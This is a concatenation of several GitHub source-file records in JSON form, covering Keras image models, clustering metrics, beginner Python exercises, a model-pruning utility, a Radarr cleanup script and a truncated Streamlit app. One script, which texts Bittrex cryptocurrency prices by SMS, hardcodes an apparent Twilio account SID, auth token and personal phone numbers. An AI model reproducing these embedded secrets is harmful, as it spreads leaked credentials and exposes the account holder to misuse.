mask_features[1]) # mask should match the content feature\n\nfor layer_name, mask_feature, style_reference_feature in zip(style_feature_layers, mask_features, sty_ftrs):\n # embed()\n layer_feature = outputs_dict[layer_name]\n combination_feature = layer_feature[2, :, :, :]\n sl = style_loss(style_reference_feature, combination_feature, mask_feature)\n loss += (style_weight / len(style_feature_layers)) * sl\n\n# Don't use this loss function in the first pass\n# loss += total_variation_weight * total_variation_loss(combination_image)\n\n# get the gradients of the generated image wrt the loss\ngrads = K.gradients(loss, combination_image)\n\noutputs = [loss]\nif isinstance(grads, (list, tuple)):\n outputs += grads\nelse:\n outputs.append(grads)\n\nf_outputs = K.function([combination_image], outputs)\n\n\ndef eval_loss_and_grads(x):\n if K.image_data_format() == 'channels_first':\n x = x.reshape((1, 3, img_nrows, img_ncols))\n else:\n x = x.reshape((1, img_nrows, img_ncols, 3))\n outs = f_outputs([x])\n loss_value = outs[0]\n if len(outs[1:]) == 1:\n grad_values = outs[1].flatten().astype('float64')\n else:\n grad_values = np.array(outs[1:]).flatten().astype('float64')\n return loss_value, grad_values\n\n\nclass Evaluator(object):\n\n def __init__(self):\n self.loss_value = None\n self.grads_values = None\n\n def loss(self, x):\n assert self.loss_value is None\n loss_value, grad_values = eval_loss_and_grads(x)\n self.loss_value = loss_value\n self.grad_values = grad_values\n return self.loss_value\n\n def grads(self, x):\n assert self.loss_value is not None\n grad_values = np.copy(self.grad_values)\n self.loss_value = None\n self.grad_values = None\n return grad_values\n\nevaluator = Evaluator()\n\n\nx = preprocess_image(base_image_path)\n\nif not os.path.exists('mask_result'):\n os.makedirs('mask_result')\n\nfor i in range(iterations):\n print('Start of iteration', i)\n start_time = time.time()\n x, min_val, info = fmin_l_bfgs_b(evaluator.loss, x.flatten(),\n fprime=evaluator.grads, maxfun=20)\n print('Current loss value:', min_val)\n # save current generated image\n img = deprocess_image(x.copy())\n fname = 'mask_result/result_at_iteration_%d.png' % i\n save_img(fname, img)\n end_time = time.time()\n print('Image saved as', fname)\n print('Iteration %d completed in %ds' % (i, end_time - start_time))\n\nsave_img(save_path, img)","repo_name":"lewkesy/Partial-Harmonization-Network","sub_path":"paint-training.py","file_name":"paint-training.py","file_ext":"py","file_size_in_byte":10322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73362336428","text":"from keras.models import *\nfrom keras.layers import *\nfrom keras.utils.data_utils import get_file\n# from keras.optimizers import SGD\nWEIGHTS_PATH_NO_TOP = 'https://github.com/fchollet/deep-learning-models/releases/download/v0.1/vgg19_weights_tf_dim_ordering_tf_kernels_notop.h5'\n\n\ndef Interp(x, shape):\n from keras.backend import tf as ktf\n new_height, new_width = shape\n resized = ktf.image.resize_images(x, [new_height, new_width], align_corners=True)\n return resized\n\n\ndef VGGUnet(n_classes, input_height=256, input_width=256, vgg_level=4):\n img_input = Input(shape=(input_height, input_width, 3))\n\n # Block 1\n x = Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv1')(img_input)\n x = Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv2')(x)\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')(x)\n f1 = x\n # Block 2\n x = Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv1')(x)\n x = Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv2')(x)\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(x)\n f2 = x\n # Block 3\n x = Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv1')(x)\n x = Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv2')(x)\n x = Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv3')(x)\n x = Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv4')(x)\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')(x)\n f3 = x\n # Block 4\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv1')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv2')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv3')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv4')(x)\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool')(x)\n f4 = x\n # Block 5\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv1')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv2')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv3')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv4')(x)\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block5_pool')(x)\n f5 = x\n vgg = Model(img_input, x)\n weights_path = get_file('vgg19_weights_tf_dim_ordering_tf_kernels_notop.h5',\n WEIGHTS_PATH_NO_TOP,\n cache_subdir='models')\n vgg.load_weights(weights_path, by_name=True)\n for layer in vgg.layers:\n layer.trainable = False\n\n levels = [f1, f2, f3, f4, f5]\n\n embFeatures = Conv2D(512, (3, 3), padding='same')(f5)\n embFeatures = BatchNormalization()(embFeatures)\n embFeatures = Activation('relu')(embFeatures)\n\n d = UpSampling2D((2, 2))(embFeatures)\n d = Concatenate(axis=-1)([levels[vgg_level-1], d])\n d = Conv2D(512, (3, 3), padding='same')(d)\n d = BatchNormalization()(d)\n d = Activation('relu')(d)\n seg_4 = Conv2D(n_classes, (1, 1), strides=(1, 1), name='wv_4_conv', activation='softmax')(d)\n seg_4 = Lambda(Interp, arguments={'shape': (256, 256)}, name='seg_4')(seg_4)\n\n d = UpSampling2D((2, 2))(d)\n d = Concatenate(axis=-1)([levels[vgg_level-2], d])\n d = Conv2D(512, (3, 3), padding='same')(d)\n d = BatchNormalization()(d)\n d = Activation('relu')(d)\n seg_3 = Conv2D(n_classes, (1, 1), strides=(1, 1), name='wv_3_conv', activation='softmax')(d)\n seg_3 = Lambda(Interp, arguments={'shape': (256, 256)}, name='ww_3')(seg_3)\n\n d = UpSampling2D((2, 2))(d)\n d = Concatenate(axis=-1)([levels[vgg_level-3], d])\n d = Conv2D(256, (3, 3), padding='same')(d)\n d = BatchNormalization()(d)\n d = Activation('relu')(d)\n seg_2 = Conv2D(n_classes, (1, 1), strides=(1, 1), name='wv_2_conv', activation='softmax')(d)\n seg_2 = Lambda(Interp, arguments={'shape': (256, 256)}, name='ww_2')(seg_2)\n\n d = UpSampling2D((2, 2))(d)\n d = Concatenate(axis=-1)([levels[vgg_level - 4], d])\n d = Conv2D(128, (3, 3), padding='same')(d)\n d = BatchNormalization()(d)\n d = Activation('relu')(d)\n seg_1 = Conv2D(n_classes, (1, 1), strides=(1, 1), name='wv_1_conv', activation='softmax')(d)\n seg_1 = Lambda(Interp, arguments={'shape': (256, 256)}, name='ww_1')(seg_1)\n\n d = UpSampling2D((2, 2))(d)\n d = Conv2D(128, (3, 3), padding='same')(d)\n d = BatchNormalization()(d)\n d = Activation('relu')(d)\n\n seg_0 = Conv2D(n_classes, (1, 1), strides=(1, 1), name='wv_0_conv', activation='softmax')(d)\n\n model = Model(img_input, [seg_0, seg_1, seg_2, seg_3, seg_4])\n\n # sgd = SGD(lr=0.001, momentum=0.9)\n model.compile('adam',\n loss=['categorical_crossentropy',\n 'categorical_crossentropy',\n 'categorical_crossentropy',\n 'categorical_crossentropy',\n 'categorical_crossentropy',\n 'categorical_crossentropy'])\n\n return model\n\n\nif __name__ == '__main__':\n m = VGGUnet(81)\n from keras.utils import plot_model\n plot_model(m, show_shapes=True, to_file='vggUnet.png')\n","repo_name":"ARVILab/CourseAI","sub_path":"week2/vggUnet_branched.py","file_name":"vggUnet_branched.py","file_ext":"py","file_size_in_byte":5360,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"8675234745","text":"import numpy as np\nfrom sklearn.metrics import normalized_mutual_info_score, adjusted_rand_score, f1_score\n\n#below code was adapted from https://github.com/nairouz/R-GAE/tree/master/GMM-VGAE here. We thank for the authors to make it publicly available \n\nnmi = normalized_mutual_info_score\nari = adjusted_rand_score\nf1 = f1_score\n\ndef acc(y_true, y_pred):\n \"\"\"\n Calculate clustering accuracy. Require scikit-learn installed\n\n # Arguments\n y: true labels, numpy.array with shape `(n_samples,)`\n y_pred: predicted labels, numpy.array with shape `(n_samples,)`\n\n # Return\n accuracy, in [0,1]\n \"\"\"\n y_true = y_true.astype(np.int64)\n assert y_pred.size == y_true.size\n D = max(y_pred.max(), y_true.max()) + 1\n w = np.zeros((D, D), dtype=np.int64)\n for i in range(y_pred.size):\n w[y_pred[i], y_true[i]] += 1\n #from sklearn.utils.linear_assignment_ import linear_assignment\n from scipy.optimize import linear_sum_assignment\n row_ind, col_ind = linear_sum_assignment(w.max() - w)\n return sum([w[i, j] for i, j in zip(row_ind, col_ind)]) * 1.0 / y_pred.size","repo_name":"ericlin1230/scGMM-VGAE","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"1323093523","text":"\"\"\"\nDate:2020.2.9\n\n测试案例:烤地瓜\n需求分析\n1.烤的时间和对应的地瓜状态:\n2.烤制过程\n步骤:\n 1.定义类, 地瓜属性,状态,烤的时间,调料\n 2.定义方法,怎样烤制\n 3.创建地瓜对象\n\"\"\"\n\n\n# 定义地瓜类\nclass SweetPotato:\n def __init__(self):\n self.cook_time = 0\n self.cook_state = '生的'\n self.condiments = []\n\n def cook(self, time):\n \"\"\"烤地瓜方法\"\"\"\n self.cook_time += time\n if 0 <= self.cook_time < 3:\n self.cook_state = '生的'\n elif 3 <= self.cook_time < 5:\n self.cook_state = '半生不熟的'\n elif 5 <= self.cook_time < 8:\n self.cook_state = '熟的'\n elif 8 <= self.cook_time:\n self.cook_state = '烤糊的'\n\n def add_condiments(self, condiment):\n self.condiments.append(condiment)\n\n def __str__(self):\n return f'这个地瓜的烤制时间:{self.cook_time}分钟,' \\\n f'状态:{self.cook_state},调料有{self.condiments}'\n\n\ndef main():\n digua1 = SweetPotato()\n print(digua1)\n digua1.cook(5)\n digua1.add_condiments('盐')\n print(digua1)\n digua1.add_condiments('辣椒面儿')\n print(digua1)\n\n\nif __name__ == '__main__':\n main()","repo_name":"kekeFu/Python2020","sub_path":"test_3_object/object_potato_1.py","file_name":"object_potato_1.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21020072386","text":"import random\nrock = \"Rock\"\npaper = \"Paper\"\nscissors = \"Scissors\"\nyour_won_games, computer_won_games = 0, 0\n\nwhile True:\n player_move = input(\"Choose [r]ock, [p]aper or [s]cissors: \")\n\n if player_move == \"r\":\n player_move = rock\n elif player_move == \"p\":\n player_move = paper\n elif player_move == \"s\":\n player_move = scissors\n else:\n print(\"Invalid Input. Try again...\")\n continue\n\n computer_random_number = random.randint(1, 3)\n computer_move = \"\"\n\n if computer_random_number == 1:\n computer_move = rock\n elif computer_random_number == 2:\n computer_move = paper\n else:\n computer_move = scissors\n\n print(f\"The computer chose {computer_move}.\")\n\n if (player_move == rock and computer_move == scissors) or (player_move == scissors and computer_move == paper) or \\\n (player_move == paper and computer_move == rock):\n your_won_games += 1\n print(f\"You win this hand! You: {your_won_games} / Comp: {computer_won_games}\")\n\n elif player_move == computer_move:\n print(\"Draw!\")\n else:\n computer_won_games += 1\n print(f\"The computer wins this hand! You: {your_won_games} / Comp: {computer_won_games}\")\n\n if your_won_games == 5:\n print(\"You win this game!\")\n break\n elif computer_won_games == 5:\n print(\"You lose this game!\")\n break\n\nprint(\"Thank you for playing!\")\n","repo_name":"Polishko/RockPaperScissorsPolishko","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7016841613","text":"import logging\nimport numpy as np\nfrom ..core import GraphWrapper\nfrom ..common import get_logger\nfrom ..core import Registry\n\n__all__ = [\"IDX_SELECTOR\"]\n\nIDX_SELECTOR = Registry('idx_selector')\n\n\n@IDX_SELECTOR.register\ndef default_idx_selector(group, scores, ratios):\n \"\"\"Get the pruned indices by scores of master tensor.\n\n This function return a list of parameters' pruned indices on given axis.\n Each element of list is a tuple with format (name, axis, indices)\n in which 'name' is parameter's name and 'axis' is the axis pruning on and\n `indices` is indices to be pruned.\n\n Args:\n group(Group): A group of pruning operations.\n scores(dict): The key is name of tensor, the value is a dict with axis as key and scores as value.\n ratios(dict): The pruned ratio of each tensor. The key is name of tensor and the value is the pruned ratio. \n \n Returns:\n\n list: pruned indices with format (name, axis, pruned_indices).\n\n \"\"\"\n # sort channels by the master convolution's score\n name = group.master[\"name\"]\n axis = group.master[\"axis\"]\n score = scores[name][axis]\n\n # get max convolution groups attribution\n max_groups = 1\n for pruning_details in group.all_pruning_details():\n groups = pruning_details.op.attr(\"groups\")\n if groups is not None and groups > max_groups:\n max_groups = groups\n if max_groups > 1:\n score = score.reshape([max_groups, -1])\n group_size = score.shape[1]\n # get score for each group of channels\n score = np.mean(score, axis=1)\n sorted_idx = score.argsort()\n ratio = ratios[name]\n pruned_num = int(round(len(sorted_idx) * ratio))\n pruned_idx = sorted_idx[:pruned_num]\n # convert indices of channel groups to indices of channels.\n if max_groups > 1:\n correct_idx = []\n for idx in pruned_idx:\n for offset in range(group_size):\n correct_idx.append(idx * group_size + offset)\n pruned_idx = correct_idx[:]\n ret = []\n for _pruning_details in group.all_pruning_details():\n ret.append((_pruning_details.name, _pruning_details.axis, pruned_idx,\n _pruning_details.transform))\n return ret\n\n\n@IDX_SELECTOR.register\ndef optimal_threshold(group, scores, ratios):\n \"\"\"Get the pruned indices by scores of master tensor.\n\n This function return a list of parameters' pruned indices on given axis.\n Each element of list is a tuple with format (name, axis, indices)\n in which 'name' is parameter's name and 'axis' is the axis pruning on and\n `indices` is indices to be pruned.\n\n Args:\n group(Group): A group of pruning operations.\n scores(dict): The key is name of tensor, the value is a dict with axis as key and scores as value.\n ratios(dict): The pruned ratio of each tensor. The key is name of tensor and the value is the pruned ratio. \n \n Returns:\n list: pruned indices with format (name, axis, pruned_indices).\n \"\"\"\n # sort channels by the master tensor\n name = group.master[\"name\"]\n axis = group.master[\"axis\"]\n score = scores[name][axis]\n ratio = ratios[name]\n\n score[score < 1e-18] = 1e-18\n score_sorted = np.sort(score)\n score_square = score_sorted**2\n total_sum = score_square.sum()\n acc_sum = 0\n for i in range(score_square.size):\n acc_sum += score_square[i]\n if acc_sum / total_sum > ratio:\n break\n th = (score_sorted[i - 1] + score_sorted[i]) / 2 if i > 0 else 0\n\n pruned_idx = np.squeeze(np.argwhere(score < th))\n\n idxs = []\n for _pruning_details in group.all_pruning_details():\n idxs.append((_pruning_details.name, _pruning_details.axis, pruned_idx,\n _pruning_details.transform))\n return idxs\n","repo_name":"PaddlePaddle/awesome-DeepLearning","sub_path":"transformer_courses/BERT_distillation/PaddleSlim-develop/paddleslim/prune/idx_selector.py","file_name":"idx_selector.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":2544,"dataset":"github-code","pt":"37"} +{"seq_id":"19931719978","text":"import requests\n\n# set up twilio \nfrom twilio.rest import Client\n# Twilio Account SID and Auth Token\nclient = Client(\"ACccab7c080046b07164cbd6ce8be7720e\", \"eb69728002b879b6edccc3d6b73541d0\")\n\n# Set the request parameters\nbase_url = 'https://bittrex.com/api/v1.1'\nend_point_market = '/public/getmarkets'\nend_point_ticker = '/public/getticker'\nurl_market = base_url + end_point_market\nurl_ticker = base_url + end_point_ticker\n\n# Do the HTTP get request\nmarket_response = requests.get(url_market)\n\n# Check for HTTP codes other than 200\nif market_response.status_code != 200:\n print('Status:', response.status_code, 'Problem with the request. Exiting.')\n exit()\n\n# Decode the JSON response into a dictionary and use the data\nmarket_info = market_response.json()\n\n# Print out prices of currencies \nmarket_list = market_info['result']\nmessage = \"\"\n\ncounter = 0;\n\nfor market in market_list:\n\tif counter < 10:\n\t\tmarket_name = market['MarketName']\n\t\t# the bittrex api does not appear to have getticker information for BTC-GAM, as such an if statement is used to avoid errors\n\t\ttry:\n\t\t\tprice_response = requests.get(url_ticker + \"?market=\" + market_name)\n\t\t\tif market_response.status_code == 200:\n\t\t\t\tprice_info = price_response.json()\n\t\t\t\tprice = str(price_info['result']['Last'])\n\t\t\t\t#print(\"Market: \" + market_name + \", Price: \" + price)\n\t\t\t\tmessage = message + \"Market: \" + market_name + \", Price: \" + price + \"\\n\"\n\t\t\t\tcounter += 1; \n\t\t\telse:\n\t\t\t\tprint('Status:', response.status_code, 'Problem with the request. Exiting.')\n\t\t\t\texit()\n\t\texcept TypeError:\n\t\t\tprint(\"Skip: \" + market_name)\n\nmessage_intro = \"\\n\" + \"Here are prices for the first \" + str(counter) + \" cryptocurrencies on bittrex \\n\" \n\nclient.messages.create(to=\"+16504216840\", \n from_=\"+14084127207 \", \n body=message_intro+ message)","repo_name":"asaxenastanford/cryptocurrency","sub_path":"send_crypto_prices.py","file_name":"send_crypto_prices.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21641685655","text":"\ndef is_inside(myList=[],otherList=[]):\n x = myList[0]\n y = myList[1]\n x1 = otherList[0]\n y1 = otherList[1]\n width = otherList[2]\n length = otherList[3]\n res = True\n if x >= x1 and x <= x1 + width and y>= y1 and y<=y1+length:\n res = True\n else:\n res = False\n \n return(res)\n\n\n# result = is_inside(200, 120)\n\n","repo_name":"hathu0610/nguyenhathu-fundamental-c4e13","sub_path":"Lab03/HW/back-color-problem/ex11.py","file_name":"ex11.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23845212766","text":"# Given an array of unsorted numbers, find all unique triplets in it that add up to zero.\n# for all triplets theres a commmon \n# To find all unique triplets : x+y+z =0 \n# x+y = -z \n\n\nclass Solution():\n def __init__(self, arr):\n self.arr = arr\n self.arr.sort()\n self.triplets = []\n def get_unique_value(self):\n \n for index in range(len(arr)-2 ):\n # skip all duplicates or same elements\n if (index > 0 and arr[index] == arr[index-1] ):\n continue\n self.search_for_pairs(arr, -arr[index],index+1,self.triplets)\n return self.triplets \n\n def search_for_pairs(self, arr, target_sum,left,triplets):\n \n right = len(arr)-1\n while(left < right ):\n checksum = arr[right] + arr[left]\n print(checksum,target_sum)\n if checksum == target_sum:\n print(checksum,\"checksum\")\n self.triplets.append([target_sum,arr[right],arr[left]])\n left = left+1\n right = right - 1\n while( left< right and arr[left] == arr[left-1]):\n left = left+1 \n while( left < right and arr[right] == arr[right+1]):\n right = right -1 \n elif (checksum > target_sum):\n right = right - 1\n else:\n left= left +1 \n \n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n arr = list(map(int,input().rstrip().split()))\n\n solution = Solution(arr)\n result = solution.get_unique_value()\n print(result)\n","repo_name":"markowusu/DS-and-Algos-","sub_path":"uniqueTriplets.py","file_name":"uniqueTriplets.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"19298644616","text":"\"\"\"\nAuthor: soup\nDescription: The point of this script is to make sure everything in Radarr is seeded in your torrent client. Whenever a torrent is deleted from the tracker, programs like https://github.com/StuffAnThings/qbit_manage can automatically delete it from your qBittorrent instance for you.\nThis naturally breaks the hardlink and leaves you with a movie that is not seeded anymore.\n\nThis script checks for non-hardlinked movies in your Radarr library. When it finds a non-hardlinked movie, it deletes the file and instructs Radarr to trigger a search for the movie again.\n\"\"\"\n\nimport csv\nimport os\nimport sys\nimport time\n\nimport requests\n\nRADARR_URL = \"http://localhost:7878/radarr\" # Replace with your Radarr URL\nRADARR_API_KEY = \"api_key\" # Replace with your Radarr API key\nDIR_PATH = (\n \"/path/to/your/movie/directory\" # Replace with your movie directory path\n)\n\n\ndef get_non_hardlinked_files(dir_path):\n non_hardlinked_files = []\n\n for root, dirs, files in os.walk(dir_path):\n for file in files:\n if file.endswith(\".mkv\" or \".mp4\"):\n file_path = os.path.join(root, file)\n if (\n os.path.isfile(file_path)\n and os.stat(file_path).st_nlink == 1\n ):\n non_hardlinked_files.append(file_path)\n\n return non_hardlinked_files\n\n\ndef save_to_csv(non_hardlinked_files, csv_file_path):\n with open(\n csv_file_path, mode=\"w\", newline=\"\", encoding=\"utf-8\"\n ) as csv_file:\n csv_writer = csv.writer(csv_file)\n csv_writer.writerow([\"File Path\"])\n\n for file_path in non_hardlinked_files:\n csv_writer.writerow([file_path])\n\n\ndef read_from_csv(csv_file_path):\n non_hardlinked_files = []\n\n with open(\n csv_file_path, mode=\"r\", newline=\"\", encoding=\"utf-8\"\n ) as csv_file:\n csv_reader = csv.reader(csv_file)\n next(csv_reader) # Skip header\n\n for row in csv_reader:\n non_hardlinked_files.append(row[0])\n\n return non_hardlinked_files\n\n\ndef get_movie_by_folder_path(folder_path):\n response = requests.get(\n f\"{RADARR_URL}/api/v3/movie\",\n params={\"apikey\": RADARR_API_KEY},\n )\n\n response.raise_for_status()\n movies = response.json()\n\n folder_path_abs = os.path.abspath(folder_path)\n\n for movie in movies:\n movie_path_abs = os.path.abspath(movie[\"path\"])\n if movie_path_abs == folder_path_abs:\n return movie\n\n return None\n\n\ndef refresh_movie(movie_id):\n command_url = f\"{RADARR_URL}/api/v3/command\"\n command_payload = {\"name\": \"RescanMovie\", \"movieId\": movie_id}\n response = requests.post(\n command_url, json=command_payload, params={\"apikey\": RADARR_API_KEY}\n )\n response.raise_for_status()\n print(f\"\\nRefreshing movie (ID: {movie_id})\")\n time.sleep(5) # Wait for the refresh to complete\n\n\ndef monitor_and_search_movie(movie_id, movie_file_path):\n if not force:\n user_input = input(\n f\"Delete non-hardlinked movie: {movie_file_path}? (y/N): \"\n )\n if user_input.lower() != \"y\":\n print(\"Skipping deletion.\")\n sys.exit(0)\n\n # Delete the movie file\n try:\n os.remove(movie_file_path)\n print(f\"Deleted non-hardlinked movie: {movie_file_path}\")\n except Exception as e:\n print(f\"Error deleting movie file: {e}\")\n return\n\n refresh_movie(movie_id)\n\n movie_url = f\"{RADARR_URL}/api/v3/movie/{movie_id}\"\n response = requests.get(movie_url, params={\"apikey\": RADARR_API_KEY})\n response.raise_for_status()\n movie = response.json()\n movie[\"monitored\"] = True\n\n response = requests.put(\n movie_url, json=movie, params={\"apikey\": RADARR_API_KEY}\n )\n response.raise_for_status()\n\n search_url = f\"{RADARR_URL}/api/v3/command\"\n search_payload = {\"name\": \"MoviesSearch\", \"movieIds\": [movie_id]}\n\n response = requests.post(\n search_url, json=search_payload, params={\"apikey\": RADARR_API_KEY}\n )\n response.raise_for_status()\n\n print(\n f\"\\nMonitoring and searching for movie: {movie['title']} (ID: {movie['id']})\"\n )\n\n\ndef process_movies(non_hardlinked_files, amount, force=False):\n print(f\"\\nLooking for non-hardlinked movies in {DIR_PATH}...\\n\")\n print(f\"Found {len(non_hardlinked_files)} non-hardlinked movies.\", end=\"\")\n if len(non_hardlinked_files) > 0:\n print(\" Saved to non_hardlinked_files.csv\", end=\"\")\n\n if len(non_hardlinked_files) > 0 and amount > 0:\n print(f\" Replacing {amount} of them.\\n\")\n else:\n print(\"\\n\")\n\n for movie_file_path in non_hardlinked_files[:amount]:\n folder_path = os.path.dirname(movie_file_path)\n movie = get_movie_by_folder_path(folder_path)\n\n if movie:\n monitor_and_search_movie(movie[\"id\"], movie_file_path)\n non_hardlinked_files.remove(movie_file_path)\n with open(\"non_hardlinked_files.csv\", \"w\") as f:\n f.write(\"File Path\\n\")\n for remaining_file in non_hardlinked_files:\n f.write(f\"{remaining_file}\\n\")\n else:\n print(f\"Movie not found in Radarr for folder path: {folder_path}\")\n\n\ndef show_help():\n help_text = \"\"\"Usage: python3 hardlink-radarr.py [options]\n\nOptions:\n\n --replace Replace specified amount of non-hardlinked movies\n --force Automatically delete non-hardlinked movies without confirmation (Must be called with --replace )\n --help Display this help text\n \n If no flags are specified, the script will only save non-hardlinked movies to non_hardlinked_files.csv\n\"\"\"\n print(help_text)\n\n\nif __name__ == \"__main__\":\n if \"--help\" in sys.argv:\n show_help()\n sys.exit(0)\n\n csv_file_path = \"non_hardlinked_files.csv\"\n\n non_hardlinked_files = get_non_hardlinked_files(DIR_PATH)\n save_to_csv(non_hardlinked_files, csv_file_path)\n\n force = False\n if \"--force\" in sys.argv:\n force = True\n\n if len(sys.argv) > 1 and sys.argv[1] == \"--replace\":\n if len(sys.argv) < 3:\n print(\n \"Error: Missing amount. Usage: python3 hardlink-radarr.py --replace \"\n )\n sys.exit(1)\n\n amount = int(sys.argv[2])\n non_hardlinked_files = read_from_csv(csv_file_path)\n process_movies(non_hardlinked_files, amount, force)\n else:\n process_movies(non_hardlinked_files, 0, force)\n","repo_name":"s0up4200/scripts-for-the-arrs-and-brrs","sub_path":"hardlink-radarr.py","file_name":"hardlink-radarr.py","file_ext":"py","file_size_in_byte":6485,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"7079096275","text":"import numpy as np\nimport pandas as pd\n\ndef chunkify(df: pd.DataFrame, chunk_size: int, stride: int = 1):\n start = 0\n length = df.shape[0]\n\n # If DF is smaller than the chunk, return the DF\n if length <= chunk_size:\n return df[:]\n\n # Producing individual chunks\n dfs = []\n # while start + chunk_size <= length:\n # dfs.append(df[start:chunk_size + start])\n # start = start + chunk_size\n for i in range(0, length - chunk_size, stride):\n dfs.append(df[i:i + chunk_size])\n return dfs\n\ndef shuffle_concat(lists: list) -> np.array:\n \"\"\"\n Concatenate N lists into N, shuffling samples by row.\n Args:\n lists (list): List of lists to be concatenated and shuffle.\n \"\"\"\n A = np.concatenate(lists, axis=0)\n np.random.shuffle(A)\n return A\n","repo_name":"diegocavalca/pynilm","sub_path":"src/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22424061399","text":"#Faça um Programa que leia 4 notas, mostre as notas e a média na tela.\n\nlista = []\nsoma = 0\nfor c in range(0, 4):\n notas = float(input(f\"Digite a {c + 1} nota: \"))\n lista.append(notas)\n print(lista)\n\nfor nota in lista:\n soma += nota\n\nmedia = soma / len(lista)\n\nprint(f\"A média do aluno é {media:.2f}\")","repo_name":"Fillypper/Curso_Python","sub_path":"Exercicios_Listas/exercicio_3.py","file_name":"exercicio_3.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30721355709","text":"# Approach 1\n# O(LogN), O(1)\nclass Solution:\n def findCeil(self,root, inp):\n ceil = -1\n while root:\n if inp == root.key:\n return root.key\n\n if root.key > inp:\n ceil = root.key\n root = root.left\n else:\n root = root.right\n return ceil","repo_name":"nikhiljsk/Strivers_SDE_Sheet","sub_path":"21_Binary_Search_Tree_Part_II/21.2_Ceil_in_a_BST_Binary_Search_Tree.py","file_name":"21.2_Ceil_in_a_BST_Binary_Search_Tree.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"20344201980","text":"#exercise 10\n#ladder\n\nimport math\n\ndef main():\n print(\"this programm calculates the required lenght of a ladder\\n\")\n height = float(input(\"how high is the obsacle (in m)? \"))\n ang = float(input(\"what should be the angle of the ladder (in °) \"))\n\n angrad = (math.pi * ang)/ 180\n\n ladder = height / math.sin(angrad)\n\n print(\"The ladder has to be \",ladder, \"m long\")\n\n input(\"Press a key to end the programm\")\nmain()","repo_name":"alexbyz/HW070172","sub_path":"l04/ch3/ex10.py","file_name":"ex10.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34696309521","text":"import streamlit as st\nimport pandas as pd\nimport base64\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport io\nimport plotly.graph_objects as go\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.decomposition import PCA\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error, r2_score\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.linear_model import LinearRegression, Lasso, Ridge, HuberRegressor\nfrom sklearn.tree import DecisionTreeRegressor\n\n# Set the theme configuration\nst.set_page_config(\n page_title=\"Car Sales Analytics\",\n page_icon=\"logo.png\",\n layout=\"wide\",\n initial_sidebar_state=\"expanded\",\n)\n\n# Define custom CSS styles\ncustom_styles = \"\"\"\n\n\"\"\"\n\ndef main():\n st.markdown(custom_styles,\n unsafe_allow_html=True\n )\n # Display the main title with custom styles\n st.markdown(\"

    CAR SALES ANALYTICS

